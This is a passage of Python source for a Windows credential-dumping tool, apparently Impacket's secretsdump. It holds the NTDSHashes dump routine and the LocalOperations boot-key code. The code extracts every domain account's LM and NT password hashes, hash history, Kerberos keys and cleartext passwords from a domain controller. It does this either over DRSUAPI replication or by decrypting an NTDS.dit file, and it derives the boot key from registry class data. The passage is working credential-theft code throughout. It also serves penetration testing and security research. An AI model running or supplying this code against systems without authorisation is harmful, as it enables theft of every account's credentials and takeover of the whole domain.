2309 userAccountStatus = 'Enabled'
2310 else:
2311 userAccountStatus = 'N/A'
2313 if self.__history:
2314 if attId == LOOKUP_TABLE['lmPwdHistory']:
2315 if attr['AttrVal']['valCount'] > 0:
2316 encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2317 tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
2318 for i in range(0, len(tmpLMHistory) // 16):
2319 LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
2320 LMHistory.append(LMHashHistory)
2321 else:
2322 LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2323 elif attId == LOOKUP_TABLE['ntPwdHistory']:
2324 if attr['AttrVal']['valCount'] > 0:
2325 encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
2326 tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
2327 for i in range(0, len(tmpNTHistory) // 16):
2328 NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
2329 NTHistory.append(NTHashHistory)
2330 else:
2331 LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
2333 if domain is not None:
2334 userName = '%s\\%s' % (domain, userName)
2336 answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
2337 if self.__pwdLastSet is True:
2338 answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
2339 if self.__printUserStatus is True:
2340 answer = "%s (status=%s)" % (answer, userAccountStatus)
2341 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2343 if outputFile is not None:
2344 self.__writeOutput(outputFile, answer + '\n')
2346 if self.__history:
2347 for i, (LMHashHistory, NTHashHistory) in enumerate(
2348 map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
2349 if self.__noLMHash:
2350 lmhash = hexlify(ntlm.LMOWFv1('', ''))
2351 else:
2352 lmhash = hexlify(LMHashHistory)
2354 answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
2355 hexlify(NTHashHistory).decode('utf-8'))
2356 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
2357 if outputFile is not None:
2358 self.__writeOutput(outputFile, answer + '\n')
2360 if outputFile is not None:
2361 outputFile.flush()
2363 LOG.debug('Leaving NTDSHashes.__decryptHash')
2365 def dump(self):
2366 hashesOutputFile = None
2367 keysOutputFile = None
2368 clearTextOutputFile = None
2370 if self.__useVSSMethod is True:
2371 if self.__NTDS is None:
2372 # No NTDS.dit file provided and were asked to use VSS
2373 return
2374 else:
2375 if self.__NTDS is None:
2376 # DRSUAPI method, checking whether target is a DC
2377 try:
2378 if self.__remoteOps is not None:
2379 try:
2380 self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
2381 except:
2382 if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None:
2383 # RemoteOperations failed. That might be because there was no way to log into the
2384 # target system. We just have a last resort. Hope we have tickets cached and that they
2385 # will work
2386 pass
2387 else:
2388 raise
2389 else:
2390 raise Exception('No remote Operations available')
2391 except Exception as e:
2392 LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
2393 # Target's not a DC
2394 return
2396 try:
2397 # Let's check if we need to save results in a file
2398 if self.__outputFileName is not None:
2399 LOG.debug('Saving output to %s' % self.__outputFileName)
2400 # We have to export. Are we resuming a session?
2401 if self.__resumeSession.hasResumeData():
2402 mode = 'a+'
2403 else:
2404 mode = 'w+'
2405 hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)
2406 if self.__justNTLM is False:
2407 keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)
2408 clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)
2410 LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
2411 if self.__useVSSMethod:
2412 # We start getting rows from the table aiming at reaching
2413 # the pekList. If we find users records we stored them
2414 # in a temp list for later process.
2415 self.__getPek()
2416 if self.__PEK is not None:
2417 LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
2418 # First of all, if we have users already cached, let's decrypt their hashes
2419 for record in self.__tmpUsers:
2420 try:
2421 self.__decryptHash(record, outputFile=hashesOutputFile)
2422 if self.__justNTLM is False:
2423 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
2424 except Exception as e:
2425 LOG.debug('Exception', exc_info=True)
2426 try:
2427 LOG.error(
2428 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
2429 LOG.error(str(e))
2430 pass
2431 except:
2432 LOG.error("Error while processing row!")
2433 LOG.error(str(e))
2434 pass
2436 # Now let's keep moving through the NTDS file and decrypting what we find
2437 while True:
2438 try:
2439 record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)
2440 except:
2441 LOG.error('Error while calling getNextRow(), trying the next one')
2442 continue
2444 if record is None:
2445 break
2446 try:
2447 if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
2448 self.__decryptHash(record, outputFile=hashesOutputFile)
2449 if self.__justNTLM is False:
2450 self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
2451 except Exception as e:
2452 LOG.debug('Exception', exc_info=True)
2453 try:
2454 LOG.error(
2455 "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
2456 LOG.error(str(e))
2457 pass
2458 except:
2459 LOG.error("Error while processing row!")
2460 LOG.error(str(e))
2461 pass
2462 else:
2463 LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
2464 status = STATUS_MORE_ENTRIES
2465 enumerationContext = 0
2467 # Do we have to resume from a previously saved session?
2468 if self.__resumeSession.hasResumeData():
2469 resumeSid = self.__resumeSession.getResumeData()
2470 LOG.info('Resuming from SID %s, be patient' % resumeSid)
2471 else:
2472 resumeSid = None
2473 # We do not create a resume file when asking for a single user
2474 if self.__justUser is None:
2475 self.__resumeSession.beginTransaction()
2477 if self.__justUser is not None:
2478 # Depending on the input received, we need to change the formatOffered before calling
2479 # DRSCrackNames.
2480 # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE
2481 # That's because we don't specify the domain for the user (and there might be duplicates)
2482 # Always remember that if you specify a domain, you should specify the NetBIOS domain name,
2483 # not the FQDN. Just for this time. It's confusing I know, but that's how this API works.
2484 if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0:
2485 self.__justUser = self.__justUser.replace('/','\\')
2486 formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
2487 else:
2488 formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
2490 crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
2491 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
2492 name=self.__justUser)
2494 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
2495 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
2496 raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
2497 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
2499 userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
2500 #userRecord.dump()
2501 replyVersion = 'V%d' % userRecord['pdwOutVersion']
2502 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
2503 raise Exception('DRSGetNCChanges didn\'t return any object!')
2504 else:
2505 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
2506 crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
2507 try:
2508 self.__decryptHash(userRecord,
2509 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
2510 hashesOutputFile)
2511 if self.__justNTLM is False:
2512 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
2513 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
2515 except Exception as e:
2516 LOG.error("Error while processing user!")
2517 LOG.debug("Exception", exc_info=True)
2518 LOG.error(str(e))
2519 else:
2520 while status == STATUS_MORE_ENTRIES:
2521 resp = self.__remoteOps.getDomainUsers(enumerationContext)
2523 for user in resp['Buffer']['Buffer']:
2524 userName = user['Name']
2526 userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId'])
2527 if resumeSid is not None:
2528 # Means we're looking for a SID before start processing back again
2529 if resumeSid == userSid:
2530 # Match!, next round we will back processing
2531 LOG.debug('resumeSid %s reached! processing users from now on' % userSid)
2532 resumeSid = None
2533 else:
2534 LOG.debug('Skipping SID %s since it was processed already' % userSid)
2535 continue
2537 # Let's crack the user sid into DS_FQDN_1779_NAME
2538 # In theory I shouldn't need to crack the sid. Instead
2539 # I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
2540 # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
2541 crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
2542 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
2543 name=userSid)
2545 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
2546 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
2547 LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
2548 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
2549 break
2550 userRecord = self.__remoteOps.DRSGetNCChanges(
2551 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
2552 # userRecord.dump()
2553 replyVersion = 'V%d' % userRecord['pdwOutVersion']
2554 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
2555 raise Exception('DRSGetNCChanges didn\'t return any object!')
2556 else:
2557 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
2558 crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
2559 try:
2560 self.__decryptHash(userRecord,
2561 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
2562 hashesOutputFile)
2563 if self.__justNTLM is False:
2564 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
2565 'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
2567 except Exception as e:
2568 LOG.error("Error while processing user!")
2569 LOG.debug("Exception", exc_info=True)
2570 LOG.error(str(e))
2572 # Saving the session state
2573 self.__resumeSession.writeResumeData(userSid)
2575 enumerationContext = resp['EnumerationContext']
2576 status = resp['ErrorCode']
2578 # Everything went well and we covered all the users
2579 # Let's remove the resume file is we had created it
2580 if self.__justUser is None:
2581 self.__resumeSession.clearResumeData()
2583 LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
2584 # Now we'll print the Kerberos keys. So we don't mix things up in the output.
2585 if len(self.__kerberosKeys) > 0:
2586 if self.__useVSSMethod is True:
2587 LOG.info('Kerberos keys from %s ' % self.__NTDS)
2588 else:
2589 LOG.info('Kerberos keys grabbed')
2591 for itemKey in list(self.__kerberosKeys.keys()):
2592 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)
2594 # And finally the cleartext pwds
2595 if len(self.__clearTextPwds) > 0:
2596 if self.__useVSSMethod is True:
2597 LOG.info('ClearText password from %s ' % self.__NTDS)
2598 else:
2599 LOG.info('ClearText passwords grabbed')
2601 for itemKey in list(self.__clearTextPwds.keys()):
2602 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)
2603 finally:
2604 # Resources cleanup
2605 if hashesOutputFile is not None:
2606 hashesOutputFile.close()
2608 if keysOutputFile is not None:
2609 keysOutputFile.close()
2611 if clearTextOutputFile is not None:
2612 clearTextOutputFile.close()
2614 self.__resumeSession.endTransaction()
2616 @classmethod
2617 def __writeOutput(cls, fd, data):
2618 try:
2619 fd.write(data)
2620 except Exception as e:
2621 LOG.error("Error writing entry, skipping (%s)" % str(e))
2622 pass
2624 def finish(self):
2625 if self.__NTDS is not None:
2626 self.__ESEDB.close()
2628class LocalOperations:
2629 def __init__(self, systemHive):
2630 self.__systemHive = systemHive
2632 def getBootKey(self):
2633 # Local Version whenever we are given the files directly
2634 bootKey = b''
2635 tmpKey = b''
2636 winreg = winregistry.Registry(self.__systemHive, False)
2637 # We gotta find out the Current Control Set
2638 currentControlSet = winreg.getValue('\\Select\\Current')[1]
2639 currentControlSet = "ControlSet%03d" % currentControlSet
2640 for key in ['JD', 'Skew1', 'GBG', 'Data']:
2641 LOG.debug('Retrieving class info for %s' % key)
2642 ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
2643 digit = ans[:16].decode('utf-16le')
2644 tmpKey = tmpKey + b(digit)
2646 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
2648 tmpKey = unhexlify(tmpKey)
2650 for i in range(len(tmpKey)):
2651 bootKey += tmpKey[transforms[i]:transforms[i] + 1]
2653 LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))
2655 return bootKey
2658 def checkNoLMHashPolicy(self):
2659 LOG.debug('Checking NoLMHash Policy')
2660 winreg = winregistry.Registry(self.__systemHive, False)
2661 # We gotta find out the Current Control Set
2662 currentControlSet = winreg.getValue('\\Select\\Current')[1]
2663 currentControlSet = "ControlSet%03d" % currentControlSet
2665 # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
2666 noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
2667 if noLmHash is not None:
2668 noLmHash = noLmHash[1]
2669 else:
2670 noLmHash = 0
2672 if noLmHash != 1:
2673 LOG.debug('LMHashes are being stored')
2674 return False
2675 LOG.debug('LMHashes are NOT being stored')
2676 return True
2678def _print_helper(*args, **kwargs):
2679 print(args[-1])